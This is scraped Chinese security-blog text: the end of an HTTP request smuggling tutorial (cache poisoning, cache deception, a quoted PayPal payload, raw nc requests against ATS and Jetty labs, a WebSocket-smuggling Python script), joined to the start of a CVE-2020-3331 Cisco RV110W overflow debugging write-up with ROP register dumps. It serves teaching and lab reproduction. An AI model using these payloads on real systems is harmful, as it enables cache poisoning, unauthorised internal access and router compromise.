然后访问`/resources/js/tracking.js`:
我们可以看到响应包的跳转地址被我们修改成了我们 exploit 的服务器地址，然后我们访问正常服务器主页试试：
可以看到成功`alert(1)`。
整个流程我们可以利用以下流程来理解：
Innocent Attacker Front Backend
| | | |
| |--A(1A+1/2B)-->| |
| | |--A(1A+1/2B)-->|
| | |<-A(200)-------|
| | | [1/2B]
| |<-A(200)-------| [1/2B]
| |--C----------->| [1/2B]
| | |--C----------->| * ending B *
| | [*CP*]<--B(200)----|
| |<--B(200)------| |
|--C--------------------------->| |
|<--B(200)--------------------[HIT] |
* 1A + 1/2B means request A + an incomplete query B
* A(X) : means X query is hidden in body of query A
* CP : Cache poisoning
与之前那个流程图类似，因为在 C 请求的`/resources/js/tracking.js`会被 Front 认为是静态资源缓存起来，而我们利用 HTTP
Smuggling 将这个请求导向了我们的 exploit 服务器，返回了`alert(1)`给 C 请求，然后这个响应包就会被 Front
服务器缓存起来，这样我们就成功进行了投毒。
### Perform Web Cache Deception
其实这个场景与缓存投毒类似，但是稍有一点区别，按照比较官方的说法，缓存欺骗与缓存投毒有以下这些区别：
> What is the difference between web cache poisoning and web cache
> deception?
>
> * In **web cache poisoning** , the attacker causes the application to
> store some malicious content in the cache, and this content is served from
> the cache to other application users.
> * In **web cache deception** , the attacker causes the application to
> store some sensitive content belonging to another user in the cache, and the
> attacker then retrieves this content from the cache.
>
在 Web 缓存投毒中，攻击者使应用程序将某些恶意内容存储在缓存中，并将该内容从缓存中提供给其他应用程序用户。
在Web缓存欺骗中，攻击者使应用程序将一些属于另一个用户的敏感内容存储在缓存中，然后攻击者从缓存中检索该内容。
这个我们就不配合 [Lab: Exploiting HTTP request smuggling to perform web cache
deception](https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-deception) 来做了，因为 LAB 提供的环境 victim
有点问题。
我们可以这么理解，我们发送如下 HTTP 请求：
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked
0
GET /private/messages HTTP/1.1
Foo: X
该 Smugle 的请求会用`Foo: X`吃掉下一个发过来的请求头的第一行，也就是`GET /xxx HTTP/1.1`那一行，并且这个请求还会带着用户的
Cookie 去访问，类似于一个CSRF，该请求变成了以下请求头：
GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
只要我们多发送几次，一旦用户访问的是静态资源，就可能会被 Front
服务器缓存起来，我们就可以拿到用户`/private/messages`的信息了。这里可能需要大量的重复发包，因为需要构造让静态资源缓存，还是需要一定运气的。
至此，HTTP Smuggling 的基本攻击面都已经介绍完毕了。
# Real World
## Paypal
首先肯定得来聊聊今年分享 HTTP Smuggling 的作者在 Black Hat 上分享的 Paypal 漏洞实例了
作者首先通过 HTTP Smuggling 的方式将一个用于 Paypal 登录的 js 文件进行了投毒：
POST /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1
Host: c.paypal.com
Content-Length: 61
Transfer-Encoding: chunked
0
GET /webstatic HTTP/1.1
Host: skeletonscribe.net?
X: XGET /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1
Host: c.paypal.com
Connection: close
HTTP/1.1 302 Found
Location: http://skeletonscribe.net?, c.paypal.com/webstatic/
但是 Paypal 登录页面有 CSP 规则 `script-src` 限制了这个跳转。
后来作者发现该页面还有一个动态生成的 iframe 引入了 c.paypal.com ，且该子页面没有 CSP 而且还引入了作者投毒的 js
文件！虽然这样可以控制 iframe 页面，但是由于同源策略，是读不到父页面的数据的。
再接着作者的同事在 paypal.com/us/gifts 发现了一个不使用 CSP 的页面，并且也导入了作者投毒的 js 文件，这样作者终于通过 js 将
c.paypal.com 的 iframe 重定向到了 paypal.com/us/gifts ，这样就同源了，也就可以读取父页面的数据了。
Paypal 第一次修复是将 Akamai 配置修改成拒绝含有 Transfer-Encoding: chunked
的请求，但是后来又被作者构造了一个换行的 header 绕过了：
Transfer-Encoding:
chunked
## ATS
> Apache Traffic Server（ATS）是美国阿帕奇（Apache）软件基金会的一款高效、可扩展的HTTP代理和缓存服务器。
>
> Apache ATS
> 6.0.0版本至6.2.2版本和7.0.0版本至7.1.3版本中存在安全漏洞。攻击者可利用该漏洞实施HTTP请求走私攻击或造成缓存中毒。
>
> 在美国国家信息安全漏洞库中，我们可以找到关于该漏洞的四个补丁，接下来我们详细看一下。
>
> CVE-2018-8004 补丁列表
>
> * <https://github.com/apache/trafficserver/pull/3192>
> * <https://github.com/apache/trafficserver/pull/3201>
> * <https://github.com/apache/trafficserver/pull/3231>
> * <https://github.com/apache/trafficserver/pull/3251>
>
>
> 注：虽然漏洞通告中描述该漏洞影响范围到7.1.3版本，但从github上补丁归档的版本中看，在7.1.3版本中已经修复了大部分的漏洞。
关于这四个补丁的分析与复现我觉得 @mengchen 师傅已经写的非常详细了，我就不在赘述了，建议看原文部分
[HTTP走私攻击实例——CVE-2018-8004](https://paper.seebug.org/1048/#4-httpcve-2018-8004)
这里我们说一下原文没有的部分：
[dummy-host7.example.com]
|
+-[8080]-----+
| 8007->8080 |
| ATS7 |
| |
+-----+------+
|
|
+--[80]----+
| 8002->80 |
| Nginx |
| |
+----------+
我们构建以上场景，可以使用我搭建的 docker 实验环境 [lab1](https://github.com/ZeddYu/HTTP-Smuggling-Lab/tree/master/lab1)
### Request Splitting using Huge Header
我们可以通过使用 65535 个字符的 header 来进行实验，比如说我们可以通过使用以下代码来发送一个含有 65535 个字符的 header 的请求到
ATS 7:
printf 'GET_/something.html?zorg2=5_HTTP/1.1\r\n'\
'Host:_dummy-host7.example.com\r\n'\
'X:_"%65534s"\r\n'\
'GET_http://dummy-host7.example.com/index.html?replaced=0&cache=8_HTTP/1.1\r\n'\
'\r\n'\
|tr " " "1"\
|tr "_" " "\
|nc -q 1 127.0.0.1 8007
nginx 的返回会直接返回 400 错误，但是有 ATS 7 就比较有趣了，我们会得到一个 400 响应以及 ATS 7 的 200 响应
HTTP/1.1 400 Invalid HTTP Request
Date: Fri, 29 Nov 2019 18:52:42 GMT
Connection: keep-alive
Server: ATS/7.1.1
Cache-Control: no-store
Content-Type: text/html
Content-Language: en
Content-Length: 220
<HTML>
<HEAD>
<TITLE>Bad Request</TITLE>
</HEAD>
<BODY BGCOLOR="white" FGCOLOR="black">
<H1>Bad Request</H1>
<HR>
<FONT FACE="Helvetica,Arial"><B>
Description: Could not process this request.
</B></FONT>
<HR>
</BODY>
HTTP/1.1 200 OK
Server: ATS/7.1.1
Date: Fri, 29 Nov 2019 18:52:42 GMT
Content-Type: text/html
Content-Length: 119
Last-Modified: Fri, 29 Nov 2019 05:37:09 GMT
ETag: "5de0ae85-77"
X-Location-echo: /index.html?replaced=0&cache=8
X-Default-VH: 0
Cache-Control: public, max-age=300
Accept-Ranges: bytes
Age: 0
Connection: keep-alive
<html><head><title>Nginx default static page</title></head>
<body><h1>Hello World</h1>
<p>It works!</p>
</body></html>
## Jetty
Jetty 有三个与 HTTP Smuggling 相关的 CVE：
* CVE-2017-7656 HTTP/0.9 issue
> In Eclipse Jetty, versions 9.2.x and older, 9.3.x (all configurations),
> and 9.4.x (non-default configuration with RFC2616 compliance enabled),
> HTTP/0.9 is handled poorly. An HTTP/1 style request line (i.e. method space
> URI space version) that declares a version of HTTP/0.9 was accepted and
> treated as a 0.9 request. If deployed behind an intermediary that also
> accepted and passed through the 0.9 version (but did not act on it), then
> the response sent could be interpreted by the intermediary as HTTP/1
> headers. This could be used to poison the cache if the server allowed the
> origin client to generate arbitrary content in the response.
* CVE-2017-7657 Chunk size attribute truncation
> In Eclipse Jetty, versions 9.2.x and older, 9.3.x (all configurations),
> and 9.4.x (non-default configuration with RFC2616 compliance enabled),
> transfer-encoding chunks are handled poorly. The chunk length parsing was
> vulnerable to an integer overflow. Thus a large chunk size could be
> interpreted as a smaller chunk size and content sent as chunk body could be
> interpreted as a pipelined request. If Jetty was deployed behind an
> intermediary that imposed some authorization and that intermediary allowed
> arbitrarily large chunks to be passed on unchanged, then this flaw could be
> used to bypass the authorization imposed by the intermediary as the fake
> pipelined request would not be interpreted by the intermediary as a request.
* CVE-2017-7658 Double Content-Length
> In Eclipse Jetty Server, versions 9.2.x and older, 9.3.x (all non HTTP/1.x
> configurations), and 9.4.x (all HTTP/1.x configurations), when presented
> with two content-lengths headers, Jetty ignored the second. When presented
> with a content-length and a chunked encoding header, the content-length was
> ignored (as per RFC 2616). If an intermediary decided on the shorter length,
> but still passed on the longer body, then body content could be interpreted
> by Jetty as a pipelined request. If the intermediary was imposing
> authorization, the fake pipelined request would bypass that authorization.
对于 CVE-2017-7658 我们就不再探究了，因为之前也提过了，我们主要来看另外两个比较有意思的地方。
### HTTP/0.9
环境依旧可以使用我构建的 [jetty lab 环境](https://github.com/ZeddYu/HTTP-Smuggling-Lab/tree/master/jetty)，然后我们用如下方式发送一个标准的 HTTP/0.9 请求：
printf 'GET /?test=4564\r\n'|nc -q 1 127.0.0.1 8994
得到一个 400 响应：
HTTP/1.1 400 HTTP/0.9 not supported
Content-Type: text/html;charset=iso-8859-1
Content-Length: 65
Connection: close
Server: Jetty(9.4.9.v20180320)
<h1>Bad Message 400</h1><pre>reason: HTTP/0.9 not supported</pre>
接着我们加上版本标识：
printf 'GET /?test=4564 HTTP/0.9\r\n\r\n'|nc -q 1 127.0.0.1 8994
虽然这是 HTTP/0.9 不支持的格式，但是也会有意外的收获，得到一个 200 响应：
<head>
<title>Sample "Hello, World" Application</title>
</head>
<body bgcolor=white>
<table border="0">
<tr>
...
这里的响应没有 headers ，只有 body ，也就是这个请求被 HTTP/0.9 进行了解析。
而且更有意思的是，添加上 HTTP/0.9 不支持的 headers 也会有意外的收获，这里我们添加一个提取响应包部分内容的 header：
printf 'GET /?test=4564 HTTP/0.9\r\n'\
'Range: bytes=36-42\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8994
, World
会发现 body 内容被我们进行了提取，结合我们上文提到的结合 HTTP Versio 进行的 HTTP Response Splitting
，我们可以进行各种花式攻击
### Chunk size attribute truncation
我们利用以下代码发送请求：
printf 'POST /?test=4973 HTTP/1.1\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Content-Type: application/x-www-form-urlencoded\r\n'\
'Host: localhost\r\n'\
'\r\n'\
'100000000\r\n'\
'\r\n'\
'POST /?test=4974 HTTP/1.1\r\n'\
'Content-Length: 5\r\n'\
'Host: localhost\r\n'\
'\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8994|grep "HTTP/1.1"
然后我们可以得到两个 200 响应可是按照 chunk 的标准，虽然第二个部分看起来是一个请求，但是实际上应该被算在 chunk data
当中，而问题就在这，jetty 返回了两个请求，把 100000000 当作了 0 ，也就是 chunk end 部分，所以就出现了两个请求的原因。
我们可以再进行一些尝试：
printf 'POST /?test=4975 HTTP/1.1\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Content-Type: application/x-www-form-urlencoded\r\n'\
'Host: localhost\r\n'\
'\r\n'\
'1ff00000008\r\n'\
'abcdefgh\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'POST /?test=4976 HTTP/1.1\r\n'\
'Content-Length: 5\r\n'\
'Host: localhost\r\n'\
'\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8994|grep "HTTP/1.1"
这里我们依然得到了两个 200 响应，也就是第一个 chunk size 1ff00000008 被 jetty 截断成了 8 ，也就是 chunk
data 部分只有`abcdefgh`，所以就返回了两个响应。
与 Apache CVE-2015-3183 类似，jetty 只会取 chunk size 的最后8个字节：
ffffffffffff00000000\r\n
^^^^^^^^
00000000 => size 0
1ff00000008\r\n
^^^^^^^^
00000008 => size 8
## Websocket
其实这部分完全可以作为一个独立的部分，但是感觉篇幅有点长了，这里就做一下简单的介绍，在 Hackactivity 2019 上，@0ang3el 提出了与
Websocket 相关的攻击技术 [What’s wrong with WebSocket APIs? Unveiling vulnerabilities
in WebSocket APIs.](https://www.slideshare.net/0ang3el/whats-wrong-with-websocket-apis-unveiling-vulnerabilities-in-websocket-apis)，让我比较感兴趣的则是
Websocket Smuggling 的部分。
作者也把相关的描述放在了 [websocket-smuggle](https://github.com/0ang3el/websocket-smuggle)
这里，这个攻击面是什么呢？帮大家一句话总结就是在 websocket 建立连接时，如果反向代理没有完全严格遵守 RFC 6445 标准，在处理`Sec-WebSocket-Version` 版本错误的情况并没有做好相应的处理，导致了保持了客户端与后端服务器 TCP/TLS 的连接，所以造成了我们可以进行
Smuggling 请求的攻击，这里直接表现为可以通过这种攻击访问内网。
这里我们假设内网存在 solr 服务，外网无法访问，如果存在 websocket smuggling ，我们可以编写以下代码访问 solr 服务：
import socket
req1 = """GET /socket.io/?EIO=3&transport=websocket HTTP/1.1
Host: ip:port
Sec-WebSocket-Version: 1338
Upgrade: websocket
""".replace('\n', '\r\n')
req2 = """GET /solr/#/ HTTP/1.1
Host: localhost:8983
""".replace('\n', '\r\n')
def main(netloc):
host, port = netloc.split(':')
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, int(port)))
sock.sendall(req1)
sock.recv(4096)
sock.sendall(req2)
# print req2
data = sock.recv(4096)
data = data.decode(errors = 'ignore')
print(data)
data = sock.recv(4096)
data = data.decode(errors = 'ignore')
print(data)
sock.shutdown(socket.SHUT_RDWR)
sock.close()
if __name__ == "__main__":
main('ip:port')
在今年红帽杯上也有使用这个攻击技术的一道 CTF 赛题，相关的 writeup 可以看看 [Red Hat 2019 Web Write
Up](https://blog.zeddyu.info/2019/11/13/Red-Hat-2019/#bank-service)
## Golang
这个是比较有意思的一个部分，当时是在10月初 fuzz 的，然后也找了挺久的目标，最后停留在了之前同学推荐的一个中间件
[caddy](https://caddyserver.com/v1/) 上（现在是 11月 27 日，竟然出 caddy 2
了...），然后拿他进行了实验，由于自己比较懒用了 docker hub 上的环境
[caddy](https://hub.docker.com/r/abiosoft/caddy)。
于是就有了：
当时找到挺开心的，以为一个 CVE 就这么简单的到手了，因为 Netty CVE
给的启示嘛，这也算是一个解析差异。然后当时我跟导师还仔细深入探究了这个产生的原因，跟了一下代码，发现可能是 Go
某个原生库的原因，我本地也单独抽了其中有问题的代码测了一遍，确认就是那个库的原因。
当时可开心了，赶紧噼里啪啦搜索如何给 Golang 提 issue ，结果后来仔细弄了一会，发现这个问题在 9月27日已经被提到了 [net/http:
invalid headers are normalized, allowing request
smuggling](https://github.com/golang/go/issues/34540)，Golang 也在 1.13.1
版修复了该问题。//悔不当初应该提早看一看这方面的内容，错过一个 CVE /捂脸
然后我仔细看了本地 Golang 版本 1.8.x ...然后 Caddy 的 issue 邮件回复也到了...不出所料让我升级 Golang 到
1.13.1， ~~看了一眼 dockerhub 上的 caddy 我吐了~~
但是目前(11/27) dockerhub 上的 caddy 环境仍然还是有这个问题的，使用需谨慎！
## Something Else
hackerone 上已经有相关漏洞的披露了，这里推荐几篇挖洞实战的文章：
[Write up of two HTTP Requests Smuggling](https://medium.com/@cc1h2e1/write-up-of-two-http-requests-smuggling-ff211656fe7d)
[HTTP Request Smuggling (CL.TE)](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
[HTTP Request Smuggling on vpn.lob.com](https://hackerone.com/reports/694604)
# Defence
> 从前面的大量案例中，我们已经知道了HTTP请求走私的危害性，那么该如何防御呢？不针对特定的服务器，通用的防御措施大概有三种。
>
> * 禁用代理服务器与后端服务器之间的TCP连接重用。
> * 使用HTTP/2协议。
> * 前后端使用相同的服务器。
>
>
>
> 以上的措施有的不能从根本上解决问题，而且有着很多不足，就比如禁用代理服务器和后端服务器之间的TCP连接重用，会增大后端服务器的压力。使用HTTP/2在现在的网络条件下根本无法推广使用，哪怕支持HTTP/2协议的服务器也会兼容HTTP/1.1。从本质上来说，HTTP请求走私出现的原因并不是协议设计的问题，而是不同服务器实现的问题，个人认为最好的解决方案就是严格的实现RFC7230-7235中所规定的的标准，但这也是最难做到的。
然而我参考了比较多的攻击文章，均没有提到为什么 HTTP/2 可以防范 HTTP Smuggling ，原作者也是一句话带过:
> Use HTTP/2 for back-end connections, as this protocol prevents ambiguity
> about the boundaries between requests.
之后我去查询了一下 HTTP/2 与 HTTP/1.1 的差异，个人认为主要是 HTTP/2 中加入了 Request multiplexing over
a single TCP connection ，也就是说使用 HTTP/2 可以使用单个 TCP 连接来进行请求资源，也就减少了 TCP
连接复用的可能性，即使能 Smuggle 也只能打自己；而且对于新的二进制分帧机制引入也对该种攻击做出了限制。
具体可以参考 [HTTP/2
简介](\[https://developers.google.com/web/fundamentals/performance/http2#%E6%AF%8F%E4%B8%AA%E6%9D%A5%E6%BA%90%E4%B8%80%E4%B8%AA%E8%BF%9E%E6%8E%A5\]\(https://developers.google.com/web/fundamentals/performance/http2))
# Bonus
经过这段时间的学习研究，自己也将一些相关的实验整理成了 docker 环境，方便大家复现学习：[HTTP-Smuggling-Lab](https://github.com/ZeddYu/HTTP-Smuggling-Lab)
现在环境不多，欢迎 star，后面我会继续加入更多的环境方便大家以白盒的形式去理解学习， ~~如果我有时间的话~~
# References
[RFC7230](https://tools.ietf.org/html/rfc7230)
[HTTP Desync Attacks: Request Smuggling
Reborn](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn)
[HTTP request smuggling](https://portswigger.net/web-security/request-smuggling)
[regilero's blog](https://regilero.github.io/tag/Smuggling/)
[协议层的攻击——HTTP请求走私](https://paper.seebug.org/1048/)
[http request smuggling, cause by obfuscating TE
header](https://github.com/netty/netty/issues/9571)
[Multiple HTTP Smuggling reports](https://hackerone.com/reports/648434)
[HTTP/2: the difference between HTTP/1.1, benefits and how to use
it](https://medium.com/@factoryhr/http-2-the-difference-between-http-1-1-benefits-and-how-to-use-it-38094fa0e95b) | 社区文章 |
# 思科RV110W CVE-2020-3331漏洞调试与iot靶场搭建
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：lxonz@白帽汇安全研究院
此次分析是基于轩哥的文章https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/，同时因为轩哥用的是实机，很多师傅可能不想入手路由器，因此我这篇文章是针对路由器的httpd进行hook在通过qemu-system模拟启动，我整理好的环境已经上传至https://hub.docker.com/r/vulshare/cve-2020-3331，有需要的师傅可以自行下载，并且如果想一键生成环境的话，可以来http://vulfocus.fofa.so/，启动过程可能会比较长，估摸着6分钟以内，耐心等一下~
docker pull vulshare/cve-2020-3331:lxonz
docker run -itd -P vulshare/cve-2020-3331:lxonz
## 本地环境部署
**本地环境搭建遇到的几点问题：**
**1.因为没有nvram所以不能成功启动，因此需要hook**
**2.建立交叉编译环境，将代码作为共享库编译**
从调试到封装成docker的周期比较长，有些技术细节记得不太清了，可能文章思路有点跳跃，有问题的地方读者指出就好，我这边修正。
本次调试环境：1.vmlinux-3.2.0-4-4kc-malta
2.debian_wheezy_mipsel_standard.qcow2
下载地址：<https://people.debian.org/~aurel32/qemu/mips/>
qemu启动参数：
qemu-system-mipsel -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0 nokalsr" \
-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
因为实际环境也是没有aslr的，所以在这里我们直接关掉，否则没有办法泄露libc。
关于基本的环境搭建的具体部分可以去参考我之前的一篇文章<https://nosec.org/home/detail/4634.html>
chroot squashfs-root sh
mount -o bind /dev ./dev/
mount -t proc /proc/ ./proc/
这里如果我们单纯的启动./http是起不来的，因为我们没有nvram，过不了他的检查，所以在这里我采取的hook的方法，将他的nvram_get
hook掉，即可启动，目标平台是mipsel所以我们需要使用buildroot来搭建一个交叉编译的环境。
sudo apt-get update
sudo apt-get install libncurses5-dev patch
git clone https://github.com/buildroot/buildroot.git
cd buildroot
make clean
make menuconfig
进到Target options这里面之后我们需要选他的架构和大小端序
在toolchain里选择kernel版本uname -a看一下可以了，然后保存退出
然后直接make -j8编译即可然后会生成一个output文件夹，进去找output/host/bin 运行mipsel-linux-gcc
—version
mipsel-linux-gcc --version
mipsel-linux-gcc.br_real (Buildroot 2020.08-947-ga2b344a) 9.3.0
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
有版本回显就可以了，我们一会通过这个交叉编译我们的nvram_get。
最后将这个路径写入.bashrc
export PATH=~/buildroot/buildroot/output/host/bin:$PATH
后面就可以愉快的调用了
## hook nvram_get
v34 = (char *)nvram_get("lan_ifname");
if ( !v34 )
v34 = "";
v35 = (char *)nvram_get("lan_ipaddr");
if ( !v35 )
v35 = "";
v36 = (char *)nvram_get("http_client_ip");
if ( !v36 )
v36 = "";
v37 = (char *)nvram_get("lan_hwaddr");
if ( !v37 )
嵌入式应用程序通常通过共享库与NVRAM交互。该库又与包含设备当前配置设置的MTD分区接口交互。如果没有NVRAM配置数据，许多程序将无法正常运行，
**需要我们拦截NVRAM库调用并返回有效数据** ，以便在Qemu中正确执行应用程序
如果我们不进行hook的话，到达漏洞触发点，会发现V0-T9没有任何值
0x77fb2a84 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────
V0 0x0
V1 0x0
A0 0x0
A1 0x0
A2 0x0
A3 0x0
T0 0x0
T1 0x0
T2 0x0
T3 0x0
T4 0x0
T5 0x0
T6 0x0
T7 0x0
T8 0x0
T9 0x0
S0 0x77aa7050
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x61616161 ('aaaa')
S4 0x61616161 ('aaaa')
S5 0x61616161 ('aaaa')
S6 0x61616161 ('aaaa')
S7 0x61616161 ('aaaa')
S8 0x61616161 ('aaaa')
FP 0x0
SP 0x7fff6f40 ◂— 0x1
PC 0x77fb2a84 ◂— bal 0x77fb2a8c
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
0x77fb2a80 move $t9, $ra
► 0x77fb2a84 bal 0x77fb2a8c
↓
0x77fb2a8c lui $gp, 5
0x77fb2a90 addiu $gp, $gp, -0x3a7c
0x77fb2a94 addu $gp, $gp, $ra
0x77fb2a98 move $ra, $t9
0x77fb2a9c lw $a0, -0x7fe8($gp)
0x77fb2aa0 sw $a0, -0x7ff0($gp)
0x77fb2aa4 move $a0, $sp
0x77fb2aa8 addiu $sp, $sp, -0x10
0x77fb2aac lw $t0, -0x7fe4($gp)
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7fff6f40 ◂— 0x1
01:0004│ 0x7fff6f44 —▸ 0x7fff6fea ◂— '//bin/sh'
02:0008│ 0x7fff6f48 ◂— 0x0
... ↓
04:0010│ 0x7fff6f50 ◂— 0x10
05:0014│ 0x7fff6f54 ◂— 0x0
06:0018│ 0x7fff6f58 ◂— 0x6
07:001c│ 0x7fff6f5c ◂— 0x1000
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
► f 0 77fb2a84
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gdb-peda$
https://blog.csdn.net/qq_21063873/article/details/103037515这篇文章有大致介绍基于qemu的nvram仿真
通过ida看它的httpd，nvram_get在获取各种环境的值，如果我们给它lan_ipaddr写死了是不是就可以了？nvram_get只传了一个参数
#include <stdio.h>
#include <string.h>
char *nvram_get(char *key)
{
char *value = NULL;
if(strcmp(key, "lan_ipaddr") == 0)
{
value = strdup("127.0.0.1");
}
printf("nvram_get(%s) == %s\n", key, value);
return value;
}
mipsel-linux-gcc -shared -fPIC nvram.c -o nvram.so
我们将此代码作为共享库进行编译
回到qemu里执行命令
chroot squashfs-root sh
export LD_PRELOAD="./nvram.so" && ./httpd
nvram_get(http_settimeouts) == (null)
nvram_get(http_settimeouts_usec) == (null)
nvram_get(http_debug) == (null)
出现这三个代表启动成功
还有一种思路是通过nvram_faker启动<https://github.com/zcutlip/nvram-faker>
它提供了编译不同架构的脚本，hook思路大同小异，也可以拿这个来进行启动
## 漏洞分析
漏洞点在guest_logout.cgi的sscanf
v10 = (const char *)get_cgi((int)"cip");
v11 = (const char *)get_cgi((int)"submit_button");
if ( !v11 )
v11 = "";
if ( v5 && v10 )
{
memset(v29, 0, 0x40u);
memset(v28, 0, sizeof(v28));
v12 = fopen("/dev/console", "w");
v13 = v12;
if ( v12 )
{
fprintf(v12, "\n mac=[%s], ip=[%s], submit_button=[%s]\n", v5, v10, v11);
fclose(v13);
}
if ( VERIFY_MAC_17(v5) && VERIFY_IPv4(v10) )
{
if ( !strstr(v11, "status_guestnet.asp") )
goto LABEL_31;
sscanf(v11, "%[^;];%*[^=]=%[^\n]", v29, v28);
v17 = fopen("/dev/console", "w");
v18 = v17;
if ( v17 )
{
fprintf(
v17,
"\n%s(%d),submit_button = [%s] url=[%s], session_id=[%s]\n",
"guest_logout_cgi",
5449,
v11,
v29,
v28);
fclose(v18);
}
sscanf这里起到了一个正则的作用，v11是我们需要匹配的字符串，%[^;];%*[^=]=%[^\n]是匹配规则，V29存的是%[^;]匹配到的值，V28存的是%*[^=]=%[^\n]
%[^;]：分号前的所有字符都要
;%*[^=]：分号后，等号前的字符都不要
=%[^\n]：等号后，换行符前的所有字符都要
v11 = (const char *)get_cgi((int)"submit_button");
v5 = (const char *)get_cgi((int)"cmac");
v6 = (const char *)get_cgi((int)"cip")
断点下在已经覆盖了ra的位置
b *0x431b60
V0 0x0
V1 0x73
A0 0x4d81f0 (post_buf+64) ◂— 0x75746174 ('tatu')
A1 0x47f785 ◂— 'ogin_guest.asp'
A2 0x0
A3 0x0
T0 0xfd00
T1 0x77a71411 ◂— 0x6c5f5f00
T2 0x77ee5f89 ◂— jalx 0x79957c00
T3 0x77ff5a60 —▸ 0x77a6a000 ◂— 0x464c457f
T4 0x77a6c64c ◂— 0x88e
T5 0x24
T6 0xd80b684
T7 0x77a70b7c ◂— 0x4c475f00
T8 0x77a6c40c ◂— nop
T9 0x77a984d0 (strcoll) ◂— lbu $v1, ($a0)
S0 0x77aa7050 (xdr_free+16) ◂— move $t9, $a0 //jmp $a0
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x61616161 ('aaaa')
S4 0x61616161 ('aaaa')
S5 0x61616161 ('aaaa')
S6 0x61616161 ('aaaa')
S7 0x61616161 ('aaaa')
S8 0x61616161 ('aaaa')
FP 0x7fff1348 ◂— 0x61616161 ('aaaa')
SP 0x7fff1260 —▸ 0x47c14c ◂— 'http_client_ip'
PC 0x431b60 (guest_logout_cgi+872) ◂— jr $ra
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
0x431b4c <guest_logout_cgi+852> lw $s3, 0xcc($sp)
0x431b50 <guest_logout_cgi+856> lw $s2, 0xc8($sp)
0x431b54 <guest_logout_cgi+860> lw $s1, 0xc4($sp)
0x431b58 <guest_logout_cgi+864> lw $s0, 0xc0($sp)
0x431b5c <guest_logout_cgi+868> move $v0, $zero
► 0x431b60 <guest_logout_cgi+872> jr $ra <0x77a8f7a0>
↓
0x431b68 <guest_logout_cgi+880> lw $t9, -0x7cc0($gp)
0x431b6c <guest_logout_cgi+884> nop
0x431b70 <guest_logout_cgi+888> jalr $t9
0x431b74 <guest_logout_cgi+892> move $a0, $s2
**可以看到此时ra寄存器的值已经是0x77a8f7a0 就是jalr $s0，$s0也被我们提前布置好了地址**
，覆盖到PC可以通过cyclic算出来，但覆盖到S0需要自己去手动调试，慢慢找它的偏移。
V0 0x0
V1 0x73
A0 0x4d81f0 (post_buf+64) ◂— 0x75746174 ('tatu')
A1 0x47f785 ◂— 'ogin_guest.asp'
A2 0x0
A3 0x0
T0 0xfd00
T1 0x77a71411 ◂— 0x6c5f5f00
T2 0x77ee5f89 ◂— jalx 0x79957c00
T3 0x77ff5a60 —▸ 0x77a6a000 ◂— 0x464c457f
T4 0x77a6c64c ◂— 0x88e
T5 0x24
T6 0xd80b684
T7 0x77a70b7c ◂— 0x4c475f00
T8 0x77a6c40c ◂— nop
T9 0x77a984d0 (strcoll) ◂— lbu $v1, ($a0)
S0 0x77aa7050 (xdr_free+16) ◂— move $t9, $a0
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
S3 0x61616161 ('aaaa')
S4 0x61616161 ('aaaa')
S5 0x61616161 ('aaaa')
S6 0x61616161 ('aaaa')
S7 0x61616161 ('aaaa')
S8 0x61616161 ('aaaa')
FP 0x7fff13a0 ◂— 0x109090c
SP 0x7fff1348 ◂— 0x61616161 ('aaaa')
PC 0x77a8f7a0 (fclose+304) ◂— addiu $a0, $sp, 0x18
───────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────
► 0x77a8f7a0 <fclose+304> addiu $a0, $sp, 0x18 <0x4d81f0>
↓
0x77a8f7a8 <fclose+312> jalr $t9
0x77a8f7ac <fclose+316> addiu $a1, $zero, 1
0x77a8f7b0 <fclose+320> lw $gp, 0x10($sp)
0x77a8f7b4 <fclose+324> lhu $v0, ($s1)
0x77a8f7b8 <fclose+328> andi $v0, $v0, 0x4000
0x77a8f7bc <fclose+332> beqz $v0, fclose+360 <0x77a8f7d8>
0x77a8f7c0 <fclose+336> lw $a2, -0x778c($gp)
0x77a8f7c4 <fclose+340> lw $t9, -0x77ac($gp)
0x77a8f7c8 <fclose+344> jalr $t9
0x77a8f7cc <fclose+348> lw $a0, 8($s1)
